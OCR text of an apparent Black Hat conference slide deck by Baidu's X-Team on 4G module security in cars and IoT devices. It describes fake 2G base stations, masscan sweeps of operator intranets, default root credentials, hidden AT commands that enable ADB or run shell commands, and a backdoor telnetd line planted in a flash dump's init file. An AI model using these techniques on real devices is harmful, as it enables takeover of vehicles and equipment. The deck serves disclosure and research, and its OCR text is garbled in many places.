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Who We Are

From Baidu Security Lab — X-Team

Gao Shupeng Huang Zheng

|OT Security Researcher The head of Baidu Security Lab X-Team
Strong hands-on ability of hardware Fighting against the Black Industry

And Al security, Penetration Testing Autonomous driving security

A former photographer Contributed a lot of browser vulnerabilities
Xie Haikuo Zhang Ye

|IOT Security Researcher |OT Security Researcher

Malware analysis, reverse engineering Reverse engineering

and fuzzing Botnet analysis

Windows kernel vulnerabilities discover
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We Have Found

e Several general vulnerabilities (problems of the embedded Linux or
RTOS system )

* RCE in baseband chip A
 DDOS in baseband chip B (caused kernel core exception)
* Unlimited port accessing in baseband chip C

* Authentication risk in several V2X 5G modules
 RCE in 5+ cars’ T-Box (widely used)
* Vulnerabilities in all parts of 4G module

Client side

FOTA server / Cloud System management service
Web Vulnerabilities FOTA service

AT command

Secondary development service
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Motivation

* Not much prior efforts

* Shed lights on attack surfaces of 4G modules & inspire new hacking
tricks
e Car Hacking
* RCE vulnerabilities found in vehicles with T-Box (4G module inside) from 5+ auto makers.

* Baseband Hacking
e Effective on various baseband chipsets from major vendors.
* More debugging tool introduced

|IOT Hacking

* Universal Hacking
* You will own the ability of controlling network traffic
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4G Module Scenarios

e Devices with 4G modules

* |OT devices (vending machines, 4G hotspot/router) driverless
* Industrial equipment (intelligent charging station)

e Reason for the need of 4G modules

* Provide connectivity to the Internet / Internal Network

e Connect to vendor cloud service for various purposes.
(module upgrades / remote management ...)
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4G Module Internal structure

* Hardware Components
* Main Chip

e Baseband+ARM (In one chip, e.g. : Qualcomm
MDMO9x07 series)

* Flash

« NAND+DDR in one chip (Qualcomm)
* NAND (Huawei HiSilicon / ZTE, DDR flash inside

e Others:

* Power Management / RF / (WiFi/SD/
Bluetooth / GPIOs)

e Software Components

* OS
* Embedded Linux System
e RTOS (Marvell/ASR)

* Baseband system

< <

(2]
173
2]

[—Qz

Application-

specific
RF front-end
QFE2340 PA
Memory support
QFE4320 PA WTR2965/WTR265 ‘ Tx DAC wr bd EBI1 I ;?:::‘2
| [ .
QFE1040 SW ; transmitte: SPMI —1- Serial inlerfaces | " |
MIPI_RFFE ~f-H Hexagon DSP Internal memory NAND
QFE2550 " s
ANT tuner ||| §  Suppor i dsc -——-| Discrete status/control m EBIZ } ,,,,,
QFE2101 PA - e
Power tracker | [~
P w S ||| T | ey | N N R
battery
and other —1 LSPS Resource & power
Alr interfaces % [ charger
components Chipset & RFFE UFs management -
l l COMA processing I Security & QFPROM PO —
| HSIC Input 6
<, 2445GHz WCDMA processing I power
g V w | wan l Secure digital 1 (1.8 V) 6 Rk 4 s 0 e e
ol
w LTE processin o
t— UART ‘P—Ql 3 upply Output power
%"i ® [ Blyetooth |: LU Secure digital 2 (dual-V) JTAGIDSS T~ %*®%9 otagese o_|| management
TD-SCDMA processing chip PMD9607
2 Modes, resets, config M-
el e e [ | =
o m [GSM—W] Clock generation H- PMIC > Fs
:. Dual-voitage UM (x2) gen bhvord
UMz m l Qualcomm® Location -
— Gen8C
= e . s
P C
oé# ]I HS USB 2.0 WPHY I GPIOs (80)
| e |
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WCD9330 CODEC

devices

Primary IS
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VC7912

Same as SKY77912
A Tx/Rx Front-End

Module, support
234G

VC7645
Same as SKY77645

A Power Amplifier
Module

PMD9607

Power
Management IC

The Quectel EC20 4G module Internal structure

Antenna

A
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‘1111%11——?1%03‘511331 ‘
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WTR2965
RF Transceiver

Qualcomm MDM9607
CPU and Modem

Cortex A7 @1.3GHz
running Linux kernel

Snapdragon™ X5 LTE
(9x07) modem supports

LTE Category 4

FM6BD1G1GMB
ESMT MCP

1Gbit NAND flash
+ 1Gbit DRAM
BGA162
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—

Neoway

minimum system

Install the drivers

OS chooses and loads the right driver via VID/PID/Interface
Use AT command to set the APN / get the signal strength ... (if

needed)

OS creates the network card: usb0 / ppp0O/wwan/ ....
Get IP address (10.x or 192.168.x)

Done

How the 4G module works

VIDPID _interface | Dialmode ____

0x2949
0x8241

0x2949
0x8242

0x2949
0x8243

0x2949
0x8247

RNDIS(00) PPP/RNDIS/RMNET
MODEM(02)

TTY(03 NMEA)
TTY(04 AT)
Diag(05)
RMNET(06)

ECM(00) PPP/ECM
MODEM(02)

TTY(03 NMEA)
TTY(04 AT)
Diag(05)

RMNET(00) PPP/RMNET
MODEM(01)

TTY(02 NMEA)
TTY(03 AT)
Diag(04)

MODEM(00) PPP/RMNET
TTY(01 NMEA)

TTY(02 AT)
Diag(03)
RMNET(04)
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How the 4G module works

@) e RMNET(Gobi Net)
Board get a Public Address

Link encan: /A4 i$’??ﬂ:i 8e:97:7b:24:74:da
inet N :10.63.87.33 | | :10.63.87.35 {#7%:255.255.255.252
LAY Tesu::iB8CY/: 7bff fe24:74da/64 Scope Link

[

ST RUNNING NOARP MULTICAST MTU:1500 EXfi%(:1

e
s 10.63. 87 33

()

Module IP: [

RNDIS / CDC-ECM / QMI WWAN el ==
Board get a Private Address : g = A )
The 4G module as a router o

Link encap:Ethernet HWaddr de:5a:e2:66:91:4e

inet addr:192.168.225.36 |Bcast:192.168.225.255 Mask:255.255.255.0
inet6 addr: fe80::dc5a:e2ff:fe66:914e/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

Module IP:

5 19).168.225.36 192.168.225.1 ,

RX packets:20 errors:0 dropped:® overruns:0 frame:0
TX packets:54 errors:0 dropped:® overruns:0 carrier:0
collisions:® txqueuelen:1000

RX bytes:1589 : TX bytes:11532

_—_—_—_—__’
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Software Component — Embedded Linux

* LTE protocol is complex, including several

re | e a Se S 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015
I l | I I | | l l |
* Need to support 2/3/4G, Multi-Mode Mult- [ mowasmoen | 2
Band [ ] Ite
* Support expanded AT command, e.g. HTTP / S H' S— Ife
MQTT / FTP protocol.... | e
° SuppOrt ConneCtion mOde: PPP / CDC_ACM / 2012 2013 2014 2015 2016 2017 2018 2019 2020
CDC-ECM / RNDIS..... 111 | = 1
T  wmzn-o )
» Support peripheral: WiFi / Bluetooth .... te
» Support FOTA upgrade, remote or web | WM — -
management E— | 57}

* Support secondary development

#BHUSA YeZBLACK HAT EVENTS



Embedded Linux — Seedbed of Vulnerabilities

* Full Linux system
* Most of them use RNDIS / ECM mode (means unique IP, routability)

e Conditions for attack
* The Linux host has an IP address, which can be accessed directly

* The Linux host listens on some ports, or connects to vendor Cloud services (for upgrade or
remote management, etc.)

* So it becomes a Linux host which exposed on the Internet / Intranet
» System Services / remote management(SSH Telnet ADB...) / OTA upgrade ....

#BHUSA YeZBLACK HAT EVENTS



Additional Attack Surfaces

* Wireless Cellular devices
* Mis-configurations of operator network allow access to the Internal network

* With 2G support, it is easy to control network traffic with a fake base station
e Sniff
« MITM
* Access ports

* 34 Party Customization
* Except for system services, customized services added
* Reverse Engineering

#BHUSA YeZBLACK HAT EVENTS



Thought Process While Attacking

* Before Exploit
» get shell / analyze firmware / analyze network traffic, mine vulnerabilities

* Run Exploit

e Traditional methods:
* Under same Local Area Network: WiFi & wired network, access open port to run exploit
* Gain access by using weak pass of WiFi hotspot / 8 digit pass...

e New methods:

* Mis-configurations of operator network, which makes large range remote attack become possible
under the same LAN

e 2G -- > Gain full control network traffic
* Access open ports
* Monitor / modify data (OTA / browser vulnerabilities)

e Others, such as SMS controlling / Cloud problems

#BHUSA YeZBLACK HAT EVENTS



Attack by Using Fake Base Station

* Existing problems of GSM (2G)

* Client can’t identify whether the station is real or
not

* All these modules support GSM
* This situation will NOT be fixed

* Solve the problem of auto attach

* |Inspired by Pseudo Base Station in China
* |Increase cell reselection parameters C1&C2

* Not only sends SMS, also controls network
traffic

e Enable GPRS function
e Hardcode C2 value



Attack by Using Fake Base Station

* How to build
 Hardware: BladeRF
e Software: YateBTS (easy to build, set, code)
* Hardcode C2 to max, then compile

GSML3RRElements.cpp (~/SDR/BTSfyate-bts/mbts/GSM) - gedit

/(o) ~ [

// CELL_RESELECT OFFSET. 6 bits.
/] €2 offset in 2 dB steps

| J/mCELL RESELECT OFFSET = 0O; C2
mCELL RESELECT OFFSET = 63; | SSEBt t() r11€3)(
mHaveSI3RestOctets = true;

mHaveSelectionParameters = true;

Default value is 0.

* Remember: Testers have to obey the law.
Using Electromagnetic shielding box is the best




Attack by Using Fake Base Station

* Downgrade the module to 2G by jamming

e Devices with 4G modules attach to the fake
station automatically

* Now we can
 Monitor all the IP data transmission
e Access the port, run the exploit
* Modify the data




Attack in the Operator Intranet

* Goal: Large-scale long-range attacks

* Operators often put the 4G clients in a LAN,
and there is no network isolation!

e 10.x.x.xor 172.x.X.X

* Mis-configurations & Roaming
* No FireWall in 4G modules

e Result: IP&port is accessible

* So we can remotely attack via ADB. telnet.
web. ssh...

- ~ masscan 10.78.252.226/22 -p 23,5555 --rate=50

Starting masscan 1.0.4 Chttp://bit.ly/14GZzcT) at 2019-07-18
-- forced options: -sS -Pn -n --randomize-hosts -v --send-et

Initiating SYN Stealth Scan

Scanning 1024 hosts [Z2-peris/host]

Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered
Discovered

open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port
port

5555/tcp lon 10.78.252.175
5555/tcpion 10.78.253.35
5555/tcpion 10.78.253.20
5555/tcpion 10.78.252.73
5555/tcpion 10.78.255.190
23/tcp on 10.78.255.191
23/tcp on 10.78.255.202
5555/tcpjon 10.78.255.203
5555/tcpion 10.78.255.90
5555/tcplon 10.78.253.184
5555/tcplon 10.78.255.234
23/tcp on 10.78.253.141
5555/tcp jon 10.78.253.210
5555/tcpion 10.78.252.216
5555/tcp jon 10.78.252.48
5555/tcpion 10.78.253.4
5555/tcplon 10.78.252.159
5555/tcp jon 10.78.252.209
5555/tcpjon 10.78.255.84
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Attack via Private APN

* Private APN Introduction
e Devices are connected to a private network, invisible to the public internet

* The devices require special SIM card and APN point (Especially most car
companies and well-known 10T equipment)

* Access to intranet resources directly via VPN in the air
e Special mode of the Operator Intranet

e Private APN Attack Surfaces

e Disabled network isolation due to the need to access servers in the intranet.
e Same type of various devices make centralized attacks possible

#BHUSA YeZBLACK HAT EVENTS



* Special SIM card, APN settings

* Many car companies / equipment use e-SIM
* Same as SIM card

e Special APN: Get from firmware / logs s

AT+CICCID ‘

AT+CGDCONT=6, "IPV4V6","zwz_, .- _ __’u.njm2mapn"
AT+CGAUTH=6,0

AT+CGDCONT=1,"IP","zwz¢_ "~ ' fu.njm2mapn"
AT+CGAUTH=1,0

* Connect to Private APN network, scan .
vulnurbilities -

e Install e-SIM to our 4G module Sl

» Set the APN by AT command / webpage config

aaaaaaaaaa




e An Introduction to 4G modules

e Attack Surfaces of 4G modules

e Attack Preparations

* Vulnerabilities Found and Exploitation

* Suggested Defense Practice
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Prior to the Attack

— At least 1 for a successful attack

e Get Data Transmission

#BHUSA YeZBLACK HAT EVENTS



Multiple Ways to Get Firmware

* Get the firmware-update program
* Unpacking the program, and retrieve the file system

* Get the upgrade tools from vendor tech support

e Like Qualcomm series, most of the modules have 9008 mode, which could restore all
the system

* The tools include all partitions

* Get a shell
* Last Resort: NAND Flash Dump

#BHUSA YeZBLACK HAT EVENTS



Unpack Firmware Upgrade Program

A packaged .exe file
the firmware-update program for one top seller 4G WiFi

At offset 0x127C172
a zip package

8887026 0x1203172 azip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)
9382642 Ox127C172 gzip compressed datal maximum compression, from Unix, last modified: 2015-08-10 12:37:08

e

127C172 £BY/

M127C172

e

e

O BEEAN .

B e app f cpio_uﬁate # f g mnt
W =@

- @ @@ @ @ @ @ =
& ERA online pic proc sbin sys system tmp
g - s

; ;j usr webui init linuxrc

Unzip, then we get all the files of Linux system partition #BHUSA YEBLACKHAT EVENTS



Through Firmware Upgrade Tool

(@ Select firmware path

* Qualcomm chipset modules have 9008 | e

| SCMM ARMPRG Normal

download mode B

* Underlying system is writable
* Focus on system partition T

- Y w0 con 0 LPT) | —
“_'_\} Forge HS-USE QDLoader 9003 (COM39) |

5555555555555

x
—
(&)

0000000
0 0 0 0ip 0lol
B oxun e

_.. @ XN

SLYEETS
1 8-AVE LRI A & 1008
] L4

SHUTDOWN |

7 =]
—j )
) O O Clo|ewmiey. S

AGIS-E-TE-A 02-A00 =
#BHUSA Y@BLACK HAT EVENTS



Through Firmware Upgrade Tool

esktop SIM7100 o}

e
v

appsboot.mbn boot.img contents.xml
ENPRG9x07.mbn modem.img NPRG9x07.mbn

partition_nand_all.
xml

partition_nand.xml

recovery.img

m 164
1018

rpm.mbn sbl1.mbn system.img

* Retrieve Linux system files in
UBIFS format

e Partitions Retrieved

contents_all.xml

* Inspect system.img

Tt
1659

partition.mbn

coveryfs.img

tz.mbn

root@ubuntu: /tmp# ubireader extract files '/home/pp/Desktop/system.img’
Extracting files to: ubifs-root/751791950/usrfs

Extracting files to: ubifs-root/751791950/rootfs

root@ubuntu: /tmp# 1s ubifs-root/751791950/rootfs/

bin cache etc mnt sbin

boot d Firmware 1linuxrc
build.prop media run

ule
“lJI L_

et Lib

proc
||
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Through NAND Flash Dump

[#0 Connected] - NAND Programmer Tool V59-d2000

(Select Programmer Log and Status

I[‘-’Ol Programlj

Part Number and Parameters>

Clear Log Programmer Infol T-44CN |

IV Auto Clear log [ Prompt MessageBox

Scan | LED

¢ Auto Detected Detect Chip information>;
" User Defined e NAND ID: 0x98f18015_0x72160800
o o Manufacturer: Toshiba
o N ‘s N D FI h D m m m I t d Bad Block Operations Auto detected successfully
aS u IS Ore CO Ica e : v Skip BBLK The parameters are as below:
List BBLK I BBLK Flag - *Page data area size2048 bytes
*Page spare area sizel128 bytes
¢Es skip the bad blocks || *Each block has 64 pages
Erase and Program P *The chip has 1 chip-select signals
File Name [ Open *There are 1024 blocks each chip—-select
*Total 1024 blocks each chip
Start Addr (hex) ’oxo *Total memory size 128 Mbytes
*Range Ox0 - Ox7ffffff
v Write Spare [ Non—-Empty Check *Memory type: SLC NAND
¥ Auto Verify [ Save Difference
. Restore DALK Retry Count [0 ] the chip information
Erase Chip ‘ Program Verify
PW@Mal@ BBLK Analysis Smart Key
s {Read>
- File Name important
Don't read the Spare
Start Addr (hex) [0x0 I~ Read Spare
< >

End Addr (hex) ox7ffffff [ Save Diff ¥ Auto Clear ProcessBar
Read ‘ Verify After Read‘ Process lllll..ll....l top

Different size
Same pins
BGA 63

NAND chip carrier socket
BGA 63 0.8mm

0000000

SA WE@BLACK HAT EVENTS



) 5 o Through NAND Flash Dump

root@ubuntu:~# binwalk '/home/pp/Desktop/zte-EHFHR-FLEFE"' | grep IFFs2
39845888 0x2600000 filesystem, |little endian

rCclose failed in file object destructor:

sys.excepthook is missing

lost sys.stderr

root@ubuntu:~# mkdir /tmp/nand/

root@ubuntu:~# modprobe mtdram total size=131072

root@ubuntu:~# dd if='/home/pp/Desktop/zte-TLIHFIR-TLLFR"' of=/dev/mtdd bs=2k sk
ip=5S((Ox2600000/0x800))

46016+0 records in

46016+0 records out

904240768 bytes (94 MB, 90 MiB) copied, ©.0679927 s, 1.4 GB/s
root@ubuntu:~# modprobe mtdblock

root@ubuntu:~# modprobe jffs2

root@ubuntu:~# mount -t jffs2 -o rw /dev/mtdblock® /tmp/nand/
root@ubuntu:~# 1s /tmp/nand/

bin etc_ro firmware log pidfile testfile wuwes var
etc etc_rw httpshare_db media scripts tmp ooP_4g wifi
root@ubuntu: ~#

* Use binwalk to identify filesystem from the flash dump
e Cut the file from the right offset

* Mount the filesystem !

#BHUSA YeZBLACK HAT EVENTS




Ways to Get a shell

* Serial ports are mapped as debug
ports / Linux console

e USB interface / USB virtual serial /
Special contact on circuit board

* Remember a widely used password

* root/ oelinux123

ﬁ

* Login directly without password
Some interface on Tesla (Already fixed)

* Open Services ADB / telnet / SSH...

e Fast scan, like masscan

* USB ADB
* ADB on port 5555

]- No Authentication

* telnet / ssh (week password or cracked

password)

R —————my = e = -

SRS, Linux Modems by [EXaase| & Co - Open Source ...

https://osmocom.org/projectsEillll®|-modems/wikiflIR0 v EJ1¥ 1t D1
2017%E1H8H - The (RO is a LTE Modem Module manufactured by the Chinese ... 9615-cdp
login: root Password: oelinux123 root@9615-cdp:~# ...

EEE7 LTE Module User Manual (B Q7 Rev ...- FCC ID
https://fecid.io > (M Corporation > SN, v B3 H T

LTE Module User Manual details for FCC ID NSNS made by ... User Manual REV: 0.1 PAGE
13 OF 21 Input Login/Password as root/oelinux123.

[POF D Opeanux Source Code Developer Guide

wless.ru/...|8 OpenLinux_Source _Code Developer_ Guide V... v E1FIETT
Step 4 UART login system: user name root; password oelinux123. 3.4.2 Modify Source Code. Delete
#cmdparams="noinitrd rw console=ttyHSLO0 ,115200' from.

©:00 Jfusr/bin/diagrebootapp
0:00 {getty} /bin/busybox fsbinfgetty -L ttyHSLO 115200 consol

0:00 [ARﬁK Async]

[1140] cmdline: n01n1trd rq console=ttyHSL® 115200 n8 andr01dboot hardware qcom ehc1 hcd park 3 msm_rtb
. filter=0x37 1lpm_levels.sleep_disabled=1 earlycon=msm_hsl_uart,®x78b0000 androidboot.serialno=52928e3f

andr01dboot authorlzed kernel true androidboot.baseband=[1160] Updating device tree: start



Ways to Get a shell

root@ubuntu: /home/pp# 1s /dev/ttyUSB*
[dev/ttyUSBO [dev/ttyUSB2 /[dev/ttyUSB4

1 Jdev/ttyUSB1 [dev/ttyUSB3 [dev/ttyUSB5
* Through hldden AT Command root@ubuntu: /home/pp# microcom -p /dev/ttyUSB2
. connected to /dev/ttyUSB2
* Enable ADB SerV|Ce Escape character: Ctrl-\
. he e: h followed b h '
e Simcom 7600 AT+CUSBADB=1,1 jlHpe the escape character followea by c¢ to get to the menu or q to quit

+ Fibocom L718: AT+ADBDEBUG=1 e

The adb device for the SIM7600 series is turned off by default and needs to be +COPS: 0,0, "CHN-UNICOM",7
opened by a AT command , and then the module takes effect.
AT + CUSBADB =1

OK

* Hidden system command execution
e Quectel EC20: AT+QLINUXCMD="echo test > /dev/ttyGS0O”
e Command injection

 Last Resort: Hacking into the Nand Flash
* Grab the NAND Flash Dump
* Modify file system, add “/bin/busybox telnetd -l /bin/sh &” in init file
e Re-attach the Nand Flash

#BHUSA YeZBLACK HAT EVENTS



Ways to Get Network Traffic

Received GTP-C PDU. Message type: GTPC_MSG_TYPE_CREATE_SESSION_REQUEST
SPGW: Allocated Ctrl TEID 1
SPGW: Allocated User..TEID 1
SPGW: Allocate UE IF 172.16.0.100
_— Received Create Session Response i
Create Session Response -- SPGW control TEID 1
¢ ASSU' I le tcpd U| I lp Ca pa bl | Ity Create Session Response -- SPGW S1-U Address: 127.0.1.100
SPGW Allocated IP 172.16.0.100 to IMSI 460010123456780
Adding attach accept to Initial Context Setup Request
° B -Id 4G b t t- Initial Context Setup Request -- eNB UE S1AP Id 1, MME UE S1AP Id 1
Initial Context Setup Request -- E-RAB id 5
UI a ase S a Ion Initial Context Setup Request -- S1-U TEID O6x1. IP 127.0.1.100
Initial Context Setup Request -- S1-U TEID Ox1. IP 127.0.1.100
. . Initial Context Setup Request -- QCI 7
* For researching, steady, convenient and Recelved Initiol Context Setup Response
E-RAB Context Setup. E-RAB id 5
.f E-RAB Context -- eNB TEID 0x460003; eNB GTP-U Address 127.0.1.1
aSt UL NAS: Received Attach Complete
Unpacked Attached Complete Message. IMSI 460010123456780
Unpacked Activate Default EPS Bearer message. EPS Bearer id 5

* Use srsLTE (install easily than OAl) eyl T el o O e Rt
* Choose SDR devices

Sending EMM Information

XHHE) fRIB(E) ME(Y) X¥E(G) HWIR(C) HiR(A) Hot(S) =iE(Y) XT&Ww) TR #EBiH)

 USRP B200/B210/B200 mini WS %R QesEFEIEE aqa »
1==Phestraffic data between Cloud andeliest:- +

No. Time Source Destination Info
S7. 1593152 001 2301251455205 172:16.0.1600 Contin
1235 Lalais s | :

* Bladerf x40 xa4
* LimeSDR B s e e SR s LIERES
* Write SIM card ) | :ii?:i
* Writeable LTE test card (Only for test)

<125 150

[TCP [
[TCP [

97.. 160.2462.. 123.125.115.205 172.16.6.100 Contin
e SIM card reader 97.. 160.2768.. 172.16.0.100 123.125.115.205 63988
97.. 160.2835.. 123.125.115.205 172.16.0.100 contir
97.. 160.3167.. 172.16.0.100 123.125.115.205 63988
97.. 160.3985.. 123.125.115.205 172.16.0.100 contir
97.. 160.4368.. 172.16.0.100 123.125.115.205 63988
97.. 160.6561.. 123.125.115.205 172.16.0.100 contir
97.. 160.7768.. 172.16.0.100 123.125.115.205 63988
97.. 160.8684.. 123.125.115.205 172.16.0.100 contir] | ITS
YY1 ML R e e e o202




Ways to Get Network Traffic

SIM Personalize tools(Copyright: GreenCard Co. Ltd Ver 3.1.0)

=

ReaderPC/SC): [Idenliv SCR35xx USE Smart Card Reader 0

LI Refresh |

Batch Wiite Card

ﬂ, Data File: |

Common Parameter
ATR: [38 9F95801FC38031E073FE 2113578681 028698441848

ICCID: [898600D6110951011460 [ Inc (DEC20)

PINT: |1234

PUK1: |88888888  PINZ: |1234

Read Card | ‘Write Card l Save Data | Load Data I Exit |
Select File / l | | Continue] Template|
Type: ILTE[LHUZ]:LTEHSSM Language: I ADN ‘

PUK2: [88888888 (asCH) ADM: [3838383838383838  (HEX16/)

GSMAWCDMA/LTE | COMA/EVDO/CSIM |

GSM Parameter LTEAWCDMA Parameter
¢ IMsitg: [30320893 @ IMSI15: [208330000000005 [~ Inc (DEC18/15) € IMsig: [30320833 @ IMSIS: [208330000000005 [~ Ine (DEC18/15]
ACC: 0020 [~ Input (DEC4) AD: (81000000 =] ACC: [0020 [ Input (DEC4) AD: [81000000 ]
[ Inc  Ki: [BBAF473F2FBFDOS4ETCCCRD 703706862 (HEX32) . KI: [BBAF473F2F8FDOS4BTCCCBD7097C6863 (HEX32)
PLMN: [46000; 46002; 46007 46008; 45412; 41004 ol [E734F&734007DBC5CE 7A0508809E 7E9C (HEX32)
EHPLMN: [46000; 46007 46002; 46008 o oop (HEX32)
FPLMN: [46001; 48003; 46004; 46020 [ PLMNwéct. | =]
HPLMN: 50 HEx2) @[ ao2 | (HEW) OPLMNwict: [46000:4000; 48000:8000; 46000:980; 4541 4000; 45§12:8000; 4541
SMSP: [+8613800571500 MSISON: [ T e (Asc) HPLMNwAct [48008:4000; 46000:2000; 46000040
SPN: [HUAWEI TEST (4sC) EHPLMN: [46000; 46007, 46002; 46008 |
Ecc: | =] FPLMN;: [46001; 46003; 46004; 46020
Algorithm: & Comp128-1 ¢ Comp128-2 ¢ Compl128-3 " Milenage HEFLMA. W[HEXZ] Bip: GbZ FES)
SMSP: [+8613800571500  (aSC)  MSIsDN: | ™ Inc (ASC)
SPN: [HUBWEI TEST \ (5C)
ECC: | (]
Dther s Same wihLTE gy Algorithm: & Milenage RAC Para |\ Other s | Same wih GSM |
—_— e ———

Werite the sim card with our IMSI / KI / OP / OPC

Jplink NAS

Authenticat

NAS Securl
mnlink NAS M

eived Securl

reating Sessi¢
reating Session ; Channel Response PUSCH - Equalized
«.."‘,».\‘-” ” -".0""“. Symboli
v.‘;; \ ¢ e | Teex 3
30 - —- 30 3
20 3 20 2 :
10 3 . 10 ga- 1...
s
prtbding I e s it
jplink NAS: Recel 3 Attoach (L« 10 4 -10 ‘1 oe e
Inpacked Attached . 20 3 20 3-2‘
Inpacked Activate D« %0 3 .30 3 3 |
40 = - ~40 4 =
cremce ! L4 1
Q IIRISRSIEDO 4 3241403 2 5 4|l
Index In-phase |
Channel Response PUCCH - Equalized
- Argument Symbols
r - e >
130 - / P 130 3 3
Per rming re 100 - k = 100 ® 2-
Performing COI Loopback te 5
Performing COI Loopback te = | o 21 ‘
Asking for clock rate 38, 72¢ 8- | D io
Actually got clock rate 30 3 P50 S "
;-"11~1,'v"< opback te 100 4§ 100 82
Performing time loopback te 3
Yll] freguency 2085.6 W o ! s 4~
Starting plot for worker ld«0
Setting Sampling frequency 11.°
oNodeB started

Run the srsLTE base station system

#BHUSA YeZBLACK HAT EVENTS



e After Attack Preparations
e Get shell (high probability, ADB shell)
e Get file system (surely, NAND dump)
* Get opened ports (surely, port scan)
e Get connection between Cloud (surely, fake station)

* |n case the above doesn’t work

* In most cases, after installing the correct drivers and setting to the correct AT mode,
use ADB (USB) could get a root shell
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e An Introduction to 4G modules

e Attack Surfaces of 4G modules

* Attack Preparations

* Vulnerabilities Found and Exploitation

* Suggested Defense Practice
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Attack Via Vulnerabilities Discovered

e System management service vulnerabilities
* Port scan: masscan —p 1-65535 192.168.99.100 —rate=3000

=» MacOS masscan 192.168.199.1 -p 1-65000 --rate=3000

Starting masscan 1.0.4 Chttp://bit.ly/14GZzcT) at 2019-04-18 06:17:24 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth

Initiating SYN Stealth Scan

Scanning 1 hosts [65000 ports/host]

Discovered open port| 8123/tcp on 192.168.199.1

Discovered open port 50001/tcp on 192.168.199.1

Discovered open port 53/tcp on 192.168.199.1

* Port view: netstat -tunlp

# netstat -tunlp

Active Internet connections (only servers)
Proto Recv-(Q Send-Q Local Address 1 Address State PID/Program name
127.68.09.1:56837 D00 LISTEN 441 fadbd
192.168B.225.1:53 S R LISTEN 1122 /dnsmasq
0.0.0.0:5565 AL LISTEN 441 fadbd
feSﬂ :7cd3:37ff:feb9: 3800 Taa LISTEN 1122 /dnsmasq

=73 o LISTEN 1490 /busybox
192 168.225.1:53 0.9.8.08: 1122 /dnsmasq
0.0.0.0:67 0.0.0.0: 1122 /dnsmasq
feB80::7cd3:37ff:fe®9:a800:53 ::: 1122 /dnsmasq

0
0
0
0
0
0
0
0
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Attack Via Vulnerabilities Discovered

* Opened telnet service
» Search password file from flash dump, use hashcat to crack the password with GPU

root@ubuntu:/tmp/nand# strings '/home/pp/Desktop/zte-LIHIR-TILF"' | grep "0:0:root”
iroot:: :/:/bin/sh
L RANHX01KTOGgHN - : f:/bin/sh

root@ubuntu: /tmp# telnet 192.168.99.100 4719
Trying 192.168.99.100...

Connected to 192.168.99.100.

Escape character is '~]'.

login: admin
Password:

BusyBox v1.21.0-ucO (2018-10-24 12:05:19 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
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Attack Via Vulnerabilities Discovered

* Opened remote ADB

* We found many top seller modules open the remote ADB service by
default.

e Convenient for 3" party customization

Brand ZTE / LONGSUN | YUGE NEOWAY |SIMCOM
GOSUNCN |G

model ME3630 U9300 CLM920 N720 SIM7600
U9507C
port 5555 5555 5555 5555 5565(need open by self,
some OEM manufacturers
open it)
* Others

* Web management with weak password
e SSH with empty password
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Ranged attack - control the CAN bus

* A brand of car has an APP to remotely unlock the car and launch the @Q’
engine.

* Buy the T-box from Auto Parts Shop.
* No USB ADB, no TCP ADB, no telnet, how to get a shell?

* Firmware dump with NAND programmer.

* With the network monitor methods, we obtain the traffic of the 18xx port and
located the bin.

* Reverse engineering, not much functionality, but including enable USB ADB
e Successfully turned on USB ADB, and get shell.
* Another process listens on port 24xx, has the “Active Telnetd” function!

if ( fsub 1C93C("telnetd”, &u2) )

:/ # adb -s GiBNGEED shell

/ # bu;ybox netstat -tunlp I {

Active Internet connections (only servers) J B Osooexec(( 1nt )" ] 1 te int )"w" . 0) -

Proto Recv-Q Send-Q Local Address Foreign Address State nam . K . o . g e
0 0 0.0.0.0: 10w 0.0.0.0:* LISTEN Ws_srv wDsDoexec((int)"telnetd -p 1898 &, (int)"w”, 0);

%) 0 0.0.0.0:2 ) 0.0.0.0:* LISTEN ng_srv i }




Ranged attack - control the CAN bus

* find “recv” or “bind” in imports, and look at the
xrefs

. ) P ( 8) | (( y « 8) pthre;d mutex unloc;(( thr tex t *)&unk_34B50);
.sa data = >> ; - - -

while [“bind(dword_34438, &sad-, ex16u) ) | i g s Eotind £

; = *( )(VI + 1);

dword_34450 = 3

++v9; -
i, bind tep port 24xx g N .
) POsLog(2, 194892, *v1); if (= -3 USIng SSL

N w4

}
OsLogEx(@, 7, 194928, *v1); {
= dword_34438; .LogEx(@, 7, 195004, ) 5
if ( listen(dword 34438, 2) >= 0 ) pthread mutex_lock((pt ' tex t *)&unk_34B50);
{ " . S ) SSL_free(dword_34450);
sLogEx(@, 7, > 3 * g .
while ( 1) 51056( ( Y(vI + 1));
{ (¢ V1 +2) = v17;
-3} *(( V1 + 3) = v17;
*( )(v1 + 1) = accept(dword_34438, &.21, & - a4 ) +4) = H
pthread_mutex_lock(( t *)&unk_34850); *(( ) +5) = :
t?\fvord_—‘“—‘ej X )(vi +1); dword_34450 = 0;
; { Guorg 3688 ) pthread_mutex_unlock((pt £ )&unk_34850);
)sTaskDelete(dword_34868); }1 .
dword_34B68 = ©; R O 2 398
- : function at 0x24

}
if ( dword_34450 ) sub 1E7C8(0);

{ sub_24BES(@x2DFC4); handle recv data

SSL_free(dword_34450); =1;

dword 34450 = 0; ’ -~

} = dword_34B68 =E —usTaskCreate(0x24398, 16, ;. 0F;

if ( dword 34434 != -1 ) if ( !dword_34B63 ) 7
close(dword_34434); xLogEx(@, 7, 195024, Trad");

dword_34434 = dword_34430; } |
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meme, MUK 2954540, UNOIU D990 )3
{ SSL_read(dword_34450, &s[

1, 256 -

);]

v
>

if (

break;
: 5 i o )

{

ey received SSL data

= Rbyte 3454C[

1.

if ( (!strncmp(8byte_3454C( 1, “eo

88 (LOBYTE(

t.tv_usec) = 0,
)&byte_3454C[

35", 4u) || !strncmp(8byte_3454C[

], "edes”, 4au))

Hex b2a

decrypted by AES

= e;
= 0;

mOsLock(dword_34454, 0);

= 0;

do
. 4 A > + 15 )
{
=k )& H
memset (& , 8, 9x400u);
- &5[vo - 1];
do
{
- t8)(viz++)[1];
sprintf( > K );
